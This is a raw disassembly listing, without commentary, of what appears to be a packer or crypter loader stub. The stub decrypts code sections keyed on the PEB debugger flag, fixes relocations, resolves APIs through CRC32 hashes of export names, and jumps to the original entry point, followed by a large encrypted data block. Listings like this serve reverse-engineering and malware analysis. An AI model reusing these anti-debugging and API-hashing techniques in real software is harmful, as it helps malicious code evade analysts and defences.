		mov	esi, [ebp+2B2h]
		mov	edi, [ebp+2AAh]
		push	edi


loc_469CBF:				; CODE XREF: DMN1:00469CCDj
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		sub	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_469CBF
		pop	edi
		mov	eax, [edi+3Ch]
		add	edi, eax
		mov	[ebp+2B6h], edi
		mov	eax, edi
		movzx	edx, word ptr [eax+6]
		mov	ebx, eax
		add	ebx, 0F8h


loc_469CE9:				; CODE XREF: DMN1:00469D1Ej
		xor	eax, eax
		mov	edi, [ebx+0Ch]
		cmp	edi, eax
		jz	short loc_469D1A
		mov	ecx, [ebx+10h]
		jecxz	short loc_469D1A
		mov	esi, [ebx+14h]
		cmp	esi, eax
		jz	short loc_469D1A
		add	esi, [ebp+2B2h]
		add	edi, [ebp+2AAh]


loc_469D0A:				; CODE XREF: DMN1:00469D18j
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		add	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_469D0A


loc_469D1A:				; CODE XREF: DMN1:00469CF0j
					; DMN1:00469CF5j ...
		add	ebx, 28h
		dec	edx
		jnz	short loc_469CE9
		mov	eax, [ebp+2AAh]
		mov	[ebp+2B2h], eax
		mov	ecx, [ebp+2FCh]
		jecxz	short loc_469D3C
		add	ecx, eax
		mov	dword ptr [ecx], 0


loc_469D3C:				; CODE XREF: DMN1:00469D32j
		mov	esi, [ebp+2B6h]
		mov	ecx, [esi+0A4h]
		jecxz	short loc_469D8D
		mov	ecx, [esi+0A0h]
		jecxz	short loc_469D8D
		mov	esi, [ebp+2AAh]
		add	esi, ecx


loc_469D5A:				; CODE XREF: DMN1:00469D6Bj
					; DMN1:00469D8Bj
		lodsd
		or	eax, eax
		jz	short loc_469D8D
		add	eax, [ebp+2AAh]
		mov	edx, eax
		lodsd
		sub	eax, 8
		jz	short loc_469D5A
		mov	ecx, eax
		shr	ecx, 1


loc_469D71:				; CODE XREF: DMN1:loc_469D89j
		lodsw
		test	ah, 30h
		jz	short loc_469D89
		and	eax, 0FFFh
		add	eax, edx
		mov	ebx, [eax]
		add	ebx, [ebp+2AEh]
		mov	[eax], ebx


loc_469D89:				; CODE XREF: DMN1:00469D76j
		loop	loc_469D71
		jmp	short loc_469D5A
; ---------------------------------------------------------------------------


loc_469D8D:				; CODE XREF: DMN1:00469D48j
					; DMN1:00469D50j ...
		mov	edx, [ebp+308h]
		add	edx, [ebp+2AAh]
		mov	[ebp+2A2h], edx
		mov	esi, [ebp+2B6h]
		mov	esi, [esi+80h]
		or	esi, esi
		jz	loc_469E44
		add	esi, [ebp+2AAh]


loc_469DB9:				; CODE XREF: DMN1:00469E3Fj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_469E44
		push	esi
		add	eax, [ebp+2AAh]
		cmp	byte ptr [eax],	0
		jz	short loc_469E3A
		push	eax
		call	dword ptr [ebp+4ADh]
		or	eax, eax
		jz	loc_469E97
		mov	esi, [esp]
		push	eax
		mov	edi, [esi+10h]
		or	edi, edi
		jz	short loc_469E3A
		mov	eax, edi
		add	edi, [ebp+2AAh]
		mov	edx, [esi]
		or	edx, edx
		jnz	short loc_469DFA
		mov	edx, eax


loc_469DFA:				; CODE XREF: DMN1:00469DF6j
		add	edx, [ebp+2AAh]


loc_469E00:				; CODE XREF: DMN1:00469E38j
		mov	eax, [edx]
		or	eax, eax
		jz	short loc_469E3A
		bt	eax, 1Fh
		jnb	short loc_469E13
		and	eax, 0FFFFh
		jmp	short loc_469E1C
; ---------------------------------------------------------------------------


loc_469E13:				; CODE XREF: DMN1:00469E0Aj
		add	eax, [ebp+2AAh]
		add	eax, 2


loc_469E1C:				; CODE XREF: DMN1:00469E11j
		push	edx
		push	eax
		push	dword ptr [esp+8]
		call	dword ptr [ebp+4B6h]
		or	eax, eax
		jz	short loc_469E97
		pop	edx
		mov	[edi], eax
		mov	eax, 4
		add	edi, eax
		add	edx, eax
		jmp	short loc_469E00
; ---------------------------------------------------------------------------


loc_469E3A:				; CODE XREF: DMN1:00469DCEj
					; DMN1:00469DE8j ...
		pop	eax
		pop	esi
		add	esi, 14h
		jmp	loc_469DB9
; ---------------------------------------------------------------------------


loc_469E44:				; CODE XREF: DMN1:00469DADj
					; DMN1:00469DBEj
		mov	ecx, [ebp+2AAh]
		mov	eax, [ebp+2A2h]
		mov	[esp+1Ch], ecx
		cld
		pusha
		mov	edi, [ebp+2BEh]
		or	edi, edi
		jz	short loc_469E86
		mov	ecx, [ebp+2A2h]
		jecxz	short loc_469E7C
		mov	al, 0B8h
		stosb
		mov	eax, ecx
		stosd
		mov	eax, 0FFh
		stosb
		mov	eax, 0E0h
		stosb
		jmp	short loc_469E86
; ---------------------------------------------------------------------------


loc_469E7C:				; CODE XREF: DMN1:00469E66j
		mov	al, 0C2h
		stosb
		mov	eax, 0Ch
		stosw


loc_469E86:				; CODE XREF: DMN1:00469E5Ej
					; DMN1:00469E7Aj
		popa
		pop	ebp
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		cld
		or	eax, eax
		jz	short locret_469E94
		jmp	eax
; ---------------------------------------------------------------------------

locret_469E94:				; CODE XREF: DMN1:00469E90j
		retn	0Ch
; ---------------------------------------------------------------------------


loc_469E97:				; CODE XREF: DMN1:00469DD9j
					; DMN1:00469E2Aj
		mov	eax, 1
		jmp	dword ptr [ebp+4C8h]
; ---------------------------------------------------------------------------
		dd offset sub_407B60
		align 4
		dd 2 dup(40h), 0
a@a@:
		unicode	0, <@@>
		dw 0A000h
		dd 0D7890002h, 0F0000046h, 6, 2F210000h, 44h, 0Ch dup(0)
		dd 400000h, 2A000h, 7B60h, 400h, 25C00h, 0

; =============== S U B	R O U T	I N E =======================================



sub_469F18	proc near		; CODE XREF: DMN1:00469C5Fp

var_4		= dword	ptr -4

		mov	eax, large fs:30h
		movzx	ebx, byte ptr [eax+2]
		add	eax, ebx
		mov	eax, [eax+0Ch]
		mov	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+471h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_469F40:				; CODE XREF: sub_469F18+9Dj
		mov	edx, [esp+0Ch+var_4]
		mov	eax, [edx+18h]
		mov	ebx, eax
		mov	eax, [eax+3Ch]
		add	eax, ebx
		mov	ecx, [eax+78h]
		jecxz	short loc_469FAB
		cmp	dword ptr [eax+7Ch], 0
		jz	short loc_469FAB
		add	ecx, ebx
		mov	esi, [ecx+0Ch]
		or	esi, esi
		jz	short loc_469FAB
		add	esi, ebx
		mov	eax, [esi]
		or	eax, 20202020h
		mov	[ebp+498h], eax
		mov	eax, [esi+4]
		or	ax, 2020h
		mov	[ebp+49Ch], eax
		mov	eax, [esi+8]
		or	eax, 202020h
		mov	[ebp+4A0h], eax
		mov	byte ptr [ebp+4A4h], 0
		lea	esi, [ebp+498h]
		mov	edi, 0Dh
		call	sub_46A0E7
		cmp	eax, [ebp+494h]
		jz	short loc_469FB7


loc_469FAB:				; CODE XREF: sub_469F18+39j
					; sub_469F18+3Fj ...
		mov	edx, [esp+0Ch+var_4]
		mov	edx, [edx]
		mov	[esp+0Ch+var_4], edx
		jmp	short loc_469F40
; ---------------------------------------------------------------------------


loc_469FB7:				; CODE XREF: sub_469F18+91j
		mov	[ebp+47Ch], ebx
		mov	esi, [ebx+3Ch]
		add	esi, ebx
		mov	esi, [esi+78h]
		add	esi, ebx
		add	esi, 1Ch
		lodsd
		add	eax, ebx
		mov	[ebp+480h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+484h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+488h], eax
		sub	esi, 10h
		lodsd
		mov	[ebp+48Ch], eax
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	eax, [ebp+4A8h]


loc_469FFD:				; CODE XREF: sub_469F18+110j
					; sub_469F18+146j
		mov	esi, [ebp+484h]
		add	esi, edx
		mov	esi, [esi]
		add	esi, [ebp+47Ch]
		push	eax
		push	edx
		movzx	edi, byte ptr [eax+4]
		call	sub_46A0E7
		xchg	eax, ebx
		pop	edx
		pop	eax
		cmp	ebx, [eax]
		jz	short loc_46A02A
		add	edx, 4
		inc	dword ptr [ebp+490h]
		jmp	short loc_469FFD
; ---------------------------------------------------------------------------


loc_46A02A:				; CODE XREF: sub_469F18+105j
		shr	edx, 1
		add	edx, [ebp+488h]
		xor	ebx, ebx
		mov	bx, [edx]
		shl	ebx, 2
		add	ebx, [ebp+480h]
		mov	ecx, [ebx]
		add	ecx, [ebp+47Ch]
		mov	[eax+5], ecx
		add	eax, 9
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	ecx, [ebp+4E7h]
		cmp	eax, ecx
		jb	short loc_469FFD
		mov	esp, large fs:0
		pop	eax
		mov	large fs:0, eax
		pop	eax
		pop	eax
		retn
sub_469F18	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	esp, eax
		jmp	loc_469FAB
; ---------------------------------------------------------------------------
		dd 7C800000h, 7C802644h, 7C803518h, 7C8043ECh, 3B5h, 0
aHfKernel32_dll	db '>hf<kernel32.dll',0
		align 4
		dd 4134D1ADh, 801D770Dh, 0C97C1F7Ch, 0ADA00FFFh, 890E7C80h
		dd 510D4402h, 817C809Ah, 0C40F571h, 7C81CDDAh, 335DDFDCh
		dd 809E010Dh, 0FFFB147Ch, 0B9D10DF3h, 0D4BB7C80h, 0D00F79C3h
		db 1Ah,	80h, 7Ch

; =============== S U B	R O U T	I N E =======================================



sub_46A0E7	proc near		; CODE XREF: sub_469F18+86p
					; sub_469F18+FBp
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46A0F3:				; CODE XREF: sub_46A0E7+35j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46A102:				; CODE XREF: sub_46A0E7+2Ej
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46A113
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46A113:				; CODE XREF: sub_46A0E7+21j
		dec	dh
		jnz	short loc_46A102
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46A0F3
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn
sub_46A0E7	endp

; ---------------------------------------------------------------------------
		call	fword ptr [ebp+60908179h]
		and	esp, ebp
		push	ss
		sub	[esp+ebp*2+6F55B94Fh], cl
		cmpsd
		mov	esp, 0A6A98099h
		mov	dword ptr [edi+5Fh], 4C6190C9h
		mov	ebp, ebp
		les	ebp, [ebp-61A4DAD0h]
		db	26h
		sahf
		retf	4B46h
; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------
		push	ecx
		xchg	eax, edx
		or	[ebp-35h], edi
		fucom	st(4)
		pop	es
		sub	bl, [ecx+ecx*4]
		or	edx, [ebx-6740FBA4h]
		retf
; ---------------------------------------------------------------------------
		dw 1182h
		dd 4C1A09AFh, 0D858A280h, 908A97F7h, 7E51F528h,	9E7D716h
		dd 0C28A28C0h, 3D03BB2Bh, 4244AFE7h, 26B10AE0h,	147334D3h
		dd 749A4292h, 0A49A16E0h, 2B4852EDh, 9E2B7279h,	9A04C2CBh
		dd 0FE8DD67Fh, 317C69E4h, 82FB9308h, 0F9731DEFh, 0BAB39453h
		dd 405FB9CDh, 35DBDBB6h, 7794BE2Ah, 0D99C1986h,	7B9FF24Ch
		dd 0CF3F78EAh, 9AA0039Bh, 1033070Fh, 0E9CF1ECAh, 0CBC4C723h
		dd 3140BEAFh, 82FBB003h, 0BF792707h, 11E069EFh,	0B512A88Ah
		dd 2AC00D0Fh, 0B5589A64h, 379283A9h, 0CA7706AAh, 72553ADDh
		dd 2273D37h, 0B6DB3275h, 6C8564B3h, 0AEB8BEA2h,	3E271D6Eh
		dd 0DCFB10D9h, 0DA55B945h, 3306B5B0h, 0B55DFF4Dh, 7BFC5D05h
		dd 2F06B4Eh, 0FBE06087h, 2283301Eh, 0B017F8A8h,	6674694Eh
		dd 37678C4Ch, 17154124h, 0BE4E9476h, 18937ADAh,	0AE960EFFh
		dd 0AB791BC2h, 91D69645h, 0FBBD13E5h, 3153AAB1h, 0A3BE90D2h
		dd 0C0D18990h, 0C2C7E2FCh, 73AB6772h, 79AB33EBh, 7CE5B955h
		dd 9669951h, 78BC5CEEh,	4C8DEDF0h, 0A287BA77h, 0A6203642h
		dd 6E6AE93Fh, 7861D2F2h, 60D2C71h, 6E7FBFAAh, 88262A62h
		dd 8D032792h, 32708AA1h, 2A0DB3CEh, 0CC25A88Eh,	413483DDh
		dd 0F16F29h, 1673D301h,	187ADBC7h, 0B030729Eh, 0BDB0E33h
		dd 0C55C32CDh, 0A2D19AD8h, 66136093h, 413F3D09h, 92A6E2E4h
		dd 686E326Bh, 0BFC9BB94h, 5221746Eh, 79A6AF2Bh,	3C1C95Dh
		dd 16A83227h, 7599F729h, 18C48C3h, 0E1FB5747h, 65320FEAh
		dd 0DEC85004h, 8472C1DAh, 869690AAh, 6713FF0Fh,	1E6273C3h
		dd 5641FC98h, 53A7C2CDh, 0EAE2F36Dh, 0CC28805Ah, 4D53002Bh
		dd 0C6BA5117h, 0F835AAB5h, 65357C92h, 7FBFB282h, 0AC7D3D66h
		dd 84B6B233h, 81320FF7h, 8CEFA6EFh, 0F120B22Bh,	0DB76FF82h
		dd 4BBE08A3h, 39E232FDh, 5BD1CDE0h, 0CE267FE6h,	923DEB56h
		dd 0F3A9528Ah, 0DC263161h, 0EBB33371h, 7D0C5BC3h, 5C07AF78h
		dd 319FFD64h, 6F7B9991h, 7D3BB1EDh, 0B8066DD3h,	5FA05C80h
		dd 0AB75DE40h, 1F30A28Fh, 8E615ADBh, 7175EA50h,	694F6D6Dh
		dd 41622207h, 0BD0FBF92h, 0D147C776h, 97D2C59h,	0C518B2FCh
		dd 0A0E1B851h, 0C96C9047h, 466465Bh, 0E8B0C1CCh, 238F66CDh
		dd 0F33503B1h, 1C36A3B1h, 84F38598h, 87CB8304h,	0E377CCFDh
		dd 0E0DCFA9Eh, 46410CE5h, 0B650BA82h, 8FEB6994h, 6681554Bh
		dd 0D669264Fh, 0A2CEC80Fh, 0EC156E44h, 95C23D00h, 0E4848D67h
		dd 77E9F97h, 65407B9Dh,	6D43B7A0h, 0C3ABC06Eh, 542002E0h
		dd 32B513D9h, 82BEA8A3h, 2FCCCB3h, 0EFC41DB5h, 0AABD8C8h
		dd 0DE620661h, 0F5A27079h, 0C82271ABh, 5305CA64h, 0A8B8DB10h
		dd 0B229Bh, 0CEBFB159h,	8B083331h, 4A6755D7h, 2E7DA822h
		dd 6C551F2Dh, 865290E0h, 0F2202B00h, 6E891F33h,	97F6F20Bh
		dd 28EA7246h, 1359121Ah, 8D417CAAh, 677B5FB3h, 4F539836h
		dd 0D1798A74h, 0B0943126h, 95A33207h, 93650DA2h, 0AD8A6C90h
		dd 0DC8079C6h, 3607F41Bh, 64F76933h, 0B344427Ch, 8D84B612h
		dd 0B4087031h, 8AF43553h, 0CFA272C2h, 0BB908CBEh, 0BE5C5C29h
		dd 94923A7Bh, 371757C0h, 0E476C299h, 0C660676Dh, 6D89AC20h
		dd 0DD50CAE1h, 660FC402h, 0A8A8F158h, 7FDC6561h, 0EADE2049h
		dd 0A0C66BE6h, 0A1A0D159h, 7303C8CAh, 6ACA8A14h, 2BC6AE0Dh
		dd 0EBF1E8CFh, 0D58838F6h, 0BD9E03B8h, 6E63B958h, 0C0F88D23h
		dd 0AEEF4CA7h, 89F762D7h, 0EC490608h, 0C1B5CD62h, 0F9E3C89Bh
		dd 0A3F537FEh, 0B1EE69F9h, 60430ACCh, 5508EC92h, 9DD90F66h
		dd 8C53EE4Ch, 7DB92EF6h, 0E6E09B3Bh, 0A1712BCCh, 565A06BEh
		dd 68A9620Eh, 256736F1h, 0EBC21C85h, 434355AAh,	0D80F42E7h
		dd 0E3E628EFh, 0C7E61FB4h, 0A64CAF6h, 9AF222h, 6575690Fh
		dd 8DF0CF2Fh, 0CDEE5182h, 44DB79CFh, 0DD9CA738h, 948D5F6h
		dd 498F0D1Fh, 0AB75067Ah, 485F9DF3h, 650CE922h,	628F0819h
		dd 0E86D72B3h, 2D396029h, 0C9AB12E6h, 84CDF1Eh,	33D16AAh
		dd 0E9CBFAFAh, 56D159AFh, 9DB2C40Ah, 0F1467B14h, 0AE42844Bh
		dd 1DD94A63h, 9259D19Dh, 8AC5BC4Eh, 6A602E63h, 667F5450h
		dd 0C2B1D6ADh, 886FB354h, 61421E39h, 21BED9AEh,	0D67E909Eh
		dd 34D1E0CAh, 9FE3EAE8h, 7C408F4Dh, 741DBFCh, 1538FB3Ah
		dd 480A4AC4h, 1AB6F9A0h, 424943CDh, 7B8B65B8h, 8088A52Fh
		dd 0CB7D37F7h, 0C3AC096Dh, 0C8E55D7Bh, 5E1B9186h, 2A6246DAh
		dd 3173B152h, 660F886h,	0BE0FE76h, 0BCD00406h, 46A87A8Bh
		dd 247ED6F0h, 0FF274918h, 9C579ED3h, 0DAEAEF7Dh, 3C79A402h
		dd 0FE6738CBh, 0BC419895h, 7959BF63h, 8F416EFAh, 7411EAE5h
		dd 7EE67774h, 79312CB9h, 328073A4h, 0EB668C0Fh,	7AA9E37Eh
		dd 18E2FB4Fh, 7F218164h, 0D4F8DCF9h, 0C117D7D8h, 155BACC0h
		dd 0CA4FEC6Dh, 22F96382h, 46AA9B0Fh, 9CD00D9Eh,	0BD2D01DCh
		dd 466532CEh, 74C8CDBDh, 7A110CCFh, 224FBB7Ch, 0B11D51CCh
		dd 0F16B72h, 2BDE4575h,	7F53EEC3h, 65354CBCh, 8320D9F7h
		dd 1638C7A7h, 1C8CCB5Ah, 0A35DBCCh, 68050227h, 7F97C9DEh
		dd 594B7456h, 0FCFDC4A7h, 34A9FF97h, 99965645h,	545CBDE2h
		dd 0B69B9B80h, 743270E1h, 6FB8B43Eh, 0DF08B917h, 0F2AC99A1h
		dd 2AFF44F0h, 0A3689960h, 6F0BCD8Ah, 0A12DD66Bh, 68C1366Eh
		dd 0B856EF7Fh, 323AEF3Ah, 723146BCh, 38EE9BF2h,	8695383Bh
		dd 0AFCD667Ch, 0BDA76595h, 49C7C5DAh, 0F3D3F945h, 0E5C52EAFh
		dd 0CC0AABC8h, 473D0F9Dh, 0DAE48CA5h, 0C325D697h, 0D5C608D0h
		dd 914B249Dh, 0E0A8E9BFh, 1F6A51A9h, 51D8259Eh,	3A7050Fh
		dd 8592A49Dh, 205A1138h, 0EF25D5C7h, 4AB13A7Fh,	5763B30Ch
		dd 0F2054B21h, 0F98A437Ch, 5BB750BDh, 9F71ECEEh, 0A797A835h
		dd 0AA09B34Fh, 2486D38Eh, 2DA1CA19h, 0B3768A96h, 0C12F23DCh
		dd 2AC5B823h, 0B0B11011h, 83534272h, 0BC199D70h, 0A8A9CB30h
		dd 0E1A59A78h, 14E8D860h, 948FEF28h, 58EB11A7h,	0CE17E433h
		dd 0C937F29Ch, 9816C95Bh, 8CD8224Eh, 72071A9Eh,	0C5EAA526h
		dd 802BA0A6h, 0E9484BD2h, 2CB20C81h, 31B3C48Fh,	2BF4BDC9h
		dd 0CFEC58BEh, 5D9B317h, 0D287AAAFh, 9BD4D8A3h,	56174DFAh
		dd 0E4985567h, 0C871B172h, 0DFB7914Fh, 7789D0C7h, 0D932F570h
		dd 0E0B3CBEBh, 3CF4A0D8h, 0F157D878h, 78F53E76h, 0FDD0EA0Bh
		dd 0EB7D56FEh, 0A7592FA4h, 0EF2C83F0h, 0A1F896EEh, 69C0820h
		dd 0E5AD9F0Fh, 0A5AF6EDFh, 0E838B372h, 79246477h, 0FA001E51h
		dd 9B12FBC1h, 38F1CF4Eh, 26EFECD8h, 4CEC8EFAh, 606C17B1h
		dd 0C0FFA0B6h, 0C60D7315h, 726112EBh, 0EB1E30EEh, 5BDC70C3h
		dd 0C3349C99h, 0D54D710h, 0B454EAB0h, 965E05DDh, 0A72D5EF9h
		dd 45F91C6Bh, 77602A8Fh, 94F30511h, 0EF94E006h,	0F072280Dh
		dd 25771CF8h, 56F5C78Fh, 74C086A4h, 43802E5Ch, 3D6BB4BFh
		dd 85502671h, 7C0EE83Ch, 0C3A25AEDh, 3AC1B8D8h,	0C85E1E7Eh
		dd 7A88A8D9h, 43FB6B15h, 0C71990D9h, 0EC711C36h, 0C05F8636h
		dd 317AF22Ch, 8AD7053h,	643EC98Eh, 0FCF2973Dh, 36EE2B4Ch
		dd 0E76DB5Bh, 4A5807C0h, 4F5A4650h, 0A744A029h,	12CD889Eh
		dd 0C5A52F6Dh, 0B663F144h, 4127AD43h, 0D8F3417Dh, 0E304D53Ah
		dd 4641A408h, 98B75CBDh, 4974097Eh, 0BF6CC2C6h,	0CA4C1273h
		dd 4F4E6E39h, 7A12F894h, 0EBC179E3h, 5D5348C6h,	20D6DD92h
		dd 0E7AD1636h, 152B38E3h, 156971D4h, 27D60C9Eh,	1D5A18D2h
		dd 4D4AE910h, 8AB97F3Ah
		dd 0C075C27Dh, 0A9C4D755h, 7630587h, 4E69159Fh,	0F5019186h
		dd 956D51B1h, 0B956B079h, 40DF839Fh, 0FCEF4C66h, 1CB66A00h
		dd 9F73E094h, 3295D734h, 0EE1675EFh, 0C6075BF1h, 0B92C550Ch
		dd 5CCD1608h, 0A98BA91Eh, 465E6231h, 5769BC9Ah,	0C6A98730h
		dd 28FFB099h, 97A1DA9Fh, 7B90A344h, 0B90492E6h,	8494412Ah
		dd 0EE66D1A5h, 98F65815h, 167093A0h, 0AB24FA3Dh, 4D2C4604h
		dd 90F9D1DAh, 7EE99533h, 0C793C4A0h, 12FB546Dh,	6E5CEA4Fh
		dd 953F636Ah, 907CCC7Dh, 0BE7A14A8h, 86B46461h,	4922327Ch
		dd 70D1E52h, 0CA973F28h, 0CE8B9B35h, 0DB2352B6h, 208E1731h
		dd 2F8E25DFh, 0A8F74BE8h, 7FE90859h, 186F9557h,	0AE87833Dh
		dd 78BF1474h, 4B48E7F8h, 4ACB1E88h, 3CE8F03Fh, 5153B5A6h
		dd 0E212C25Eh, 5F8E51BDh, 0AF10DE5Dh, 3B5CDC2Bh, 4383D048h
		dd 0B8D23AFCh, 41791F24h, 0C995238Bh, 6FCEB9D4h, 0D15C48C2h
		dd 14A05D75h, 3C7981D3h, 0BA764F9Eh, 94B39091h,	30889FEDh
		dd 11857520h, 0EFCD84EFh, 6DA2CAF5h, 0EDC2E401h, 53E97FBFh
		dd 4046AD7Ch, 0F4C946Bh, 9C05B540h, 9179981Dh, 0EFFB6D4Ch
		dd 0BC18B986h, 7CE4B1EBh, 64A1B93Bh, 0FD9C6010h, 0A6BCFB9Dh
		dd 37A3A4A5h, 509B927Dh, 0B30068DAh, 59BA5F75h,	0DF18D95Eh
		dd 66808815h, 0CAB1D291h, 0A0F59F42h, 0AE85A94Fh, 1FDA849Ah
		dd 58F89F6Ah, 15D839AAh, 719F013Eh, 0AEB39CB0h,	0CAA52EA7h
		dd 7B141535h, 3B3239F2h, 684F30B7h, 0E6A2CDB9h,	0C437D3DFh
		dd 0FCCF333Ch, 0ADE6ECFBh, 12944EF3h, 0A927D293h, 37E4809Ch
		dd 121F4134h, 0B509BF3Ah, 96CACBC9h, 1B0BD162h,	45423562h
		dd 829682F2h, 44797C81h, 50135FFCh, 63499CADh, 8EB190CAh
		dd 5B8CCDD3h, 2C55DFE8h, 0F73A7492h, 17B2481Dh,	6F711F56h
		dd 0B9400B97h, 0FF4E23ABh, 0E49AB8DCh, 501B425Eh, 636AC3DFh
		dd 0BAB15FEAh, 0A95A7392h, 3616CCAEh, 390F473h,	9D2C0BD9h
		dd 73FC17B8h, 8716ABC6h, 4B955428h, 8681E069h, 0B261F690h
		dd 21DA896Fh, 0AC0A06F3h, 0C9A16CE4h, 9BC538C4h, 9AB61E7Bh
		dd 5010B8B9h, 0C109C7E2h, 340DF6C2h, 79446286h,	5598E0C8h
		dd 97F2BE44h, 6EC63526h, 0AFE463A7h, 2D94928h, 7EB6B1FEh
		dd 57B6D68Ah, 0D387138h, 9F05A62Bh, 71A70C26h, 27DB2C74h
		dd 3319A52Ah, 30EBD644h, 0ECA05ADEh, 0B826A20Eh, 0B4E2F9B8h
		dd 9BC77FDh, 1B1717C2h,	76970E04h, 43032B5h, 0B46CF694h
		dd 4244913Fh, 0C5BAF139h, 0F93AB07Dh, 0BB68C99Bh, 0A1453AFCh
		dd 9270EDE3h, 0F9DB3F57h, 7F6F88E5h, 0A520F779h, 5001A9D8h
		dd 0D3FFEABFh, 9F4E7840h, 4CF405F0h, 0AB703928h, 46999D14h
		dd 59B8C997h, 0BABFE939h, 818ABD3Fh, 8B010D00h,	6EA76886h
		dd 7A7DD9D3h, 35C9A4B4h, 3AF77359h, 0C1E1B517h,	0F691A337h
		dd 38013BD6h, 14D8D6AAh, 0D6870FE5h, 70C0AD8Ah,	9A9C6909h
		dd 3B9F2794h, 373CCEC7h, 7745585Eh, 0CF7E1979h,	68C90DEEh
		dd 0C4C9A14Fh, 8895BCB1h, 0BDBAC973h, 0C7ACD721h, 0F50023AAh
		dd 7236ED1Dh, 491F1664h, 0B91F9DF7h, 0BC3CCA96h, 2D0283C0h
		dd 2EF42D6Ah, 62FDEC5Bh, 0C9CC0231h, 35DF7E7Dh,	0C991FEB8h
		dd 0E5E84E68h, 95AEFA1Bh, 0A8F4E40Ch, 85EE0AB8h, 0F3319469h
		dd 0DD1145C7h, 0CADDF3Ah, 0E3EE85BFh, 788BC207h, 79EF4EB2h
		dd 0BD876CDAh, 8182A2E2h, 0BAE93305h, 4B9D5237h, 0DABEF6F9h
		dd 0A3631A67h, 2147C926h, 0D0C53F3Bh, 65A1256Dh, 0D2C17D01h
		dd 0F2426112h, 2C1BB166h, 817F4FF7h, 23E3BFB8h,	7D0CB5E8h
		dd 69C9D561h, 2887E3C7h, 277D4120h, 1D9EA0ABh, 719FF4D5h
		dd 90391045h, 85EB99E5h, 49F73923h, 0BB791357h,	8CFACA70h
		dd 3AB7EA36h, 6855FBB2h, 0D51189ABh, 0D08E917Eh, 0D7AA79C4h
		dd 0EA251B5Ah, 62021B22h, 0FEB60D84h, 64A9E3AFh, 6630EF49h
		dd 4B6CA95Bh, 0E11DC33Ch, 6BBD285Ah, 808041E2h,	44DD3875h
		dd 1AB17C76h, 0F157BA02h, 243B559Ch, 0EED4BE39h, 9C20027Ch
		dd 0C8546EB5h, 31CBDD8h, 6BEFE617h, 796EA08Bh, 25515B6Eh
		dd 1FAC7933h, 0AFDE2216h, 842AFEC2h, 0B13D57F5h, 36B7E5C2h
		dd 88D0F8Bh, 6CB059Eh, 3993CADEh, 0DB368EEEh, 7A0CF44Eh
		dd 0BC2DD1C7h, 37B14F61h, 0E0987D2Ch, 30A7DBF8h, 2250CDEAh
		dd 6C047741h, 0DFF6753Ch, 0D5BB1506h, 0E1F8A41Ah, 16BFEEEDh
		dd 7CCC4484h, 0C97AD58h, 7C8A2301h, 0EA26151Fh,	0B100E3EAh
		dd 0DEFBCE47h, 0D339ED11h, 8839B8A4h, 0D41C2A77h, 0DCA0E5A1h
		dd 90007BE8h, 81FF9E16h, 0E3A46C7Eh, 917CBC0Ch,	7C314DFEh
		dd 3FF98FC8h, 4D0D7853h, 0EBBDEA6Ah, 0F2142B7Dh, 0D586CD5Dh
		dd 0F60800F7h, 14383002h, 36266AB2h, 0A9E6ECC3h, 0AF8017A3h
		dd 955F8F88h, 4A1F7959h, 0EA39E15Ch, 631297D9h,	6A945722h
		dd 926990C7h, 87EE4A2Ah, 0EF7CA23h, 8DC7D624h, 0B51FAD01h
		dd 4066330Eh, 3036B9B3h, 0DCB2EC17h, 5DD60CD9h,	0CFAAEE1Eh
		dd 2BCF5DD2h, 8FE4C486h, 16ED739Fh, 3C9FD9FCh, 8CD3F007h
		dd 0D2B19E4Ah, 0C713E521h, 0B0A24867h, 1F5E39BCh, 1F7755CEh
		dd 0FAC99FBCh, 0B33357A4h, 516E115h, 0BB3714D8h, 0F6EF3364h
		dd 0D517E77Ah, 0F54E0A45h, 78F4A406h, 5695AE01h, 18C206Fh
		dd 81CDE684h, 8CB31C52h, 697EECD8h, 5A7E9B8Bh, 0EAAE2D39h
		dd 11BFED0Bh, 6724BBD4h, 65A9179Ah, 674E46A9h, 1DD2D65Bh
		dd 4D3E7B05h, 0A8828E0Dh, 0FFBDA03Eh, 335FB17Fh, 2C389E04h
		dd 9385C2Dh, 0FAF59400h, 32F3F08Ch, 8EA7D55Fh, 0FE0122FAh
		dd 0CE127D58h, 1C575947h, 6F10C4CBh, 568932Dh, 5E9095BBh
		dd 8A6447D6h, 77D3DAC5h, 793F16FDh, 0ED90E3Ah, 32D56565h
		dd 0A69D79FCh, 4A16432Ah, 0DDA140B6h, 54F7E118h, 0CD169E4Dh
		dd 0CC0263DDh, 0E47B5ED4h, 2F696BEAh, 0D81C74D6h, 48DF6F03h
		dd 8419D69Fh, 0B681282Fh, 0FBC548BEh, 86B1B61Ch, 0B12FC73Dh
		dd 0D3045636h, 0F6EC4671h, 38783D86h, 0A0640D45h, 0F10B2F88h
		dd 0DFF09F0Ch, 0C1CBC16Bh, 0CDFE800Ah, 0D3FEAC0Eh, 40C3CDA1h
		dd 400759A4h, 2E41231Ch, 5E2ABBBDh, 6871189Fh, 34173556h
		dd 736BD1ABh, 2CA06589h, 80D98A35h, 0BB133669h,	515E0481h
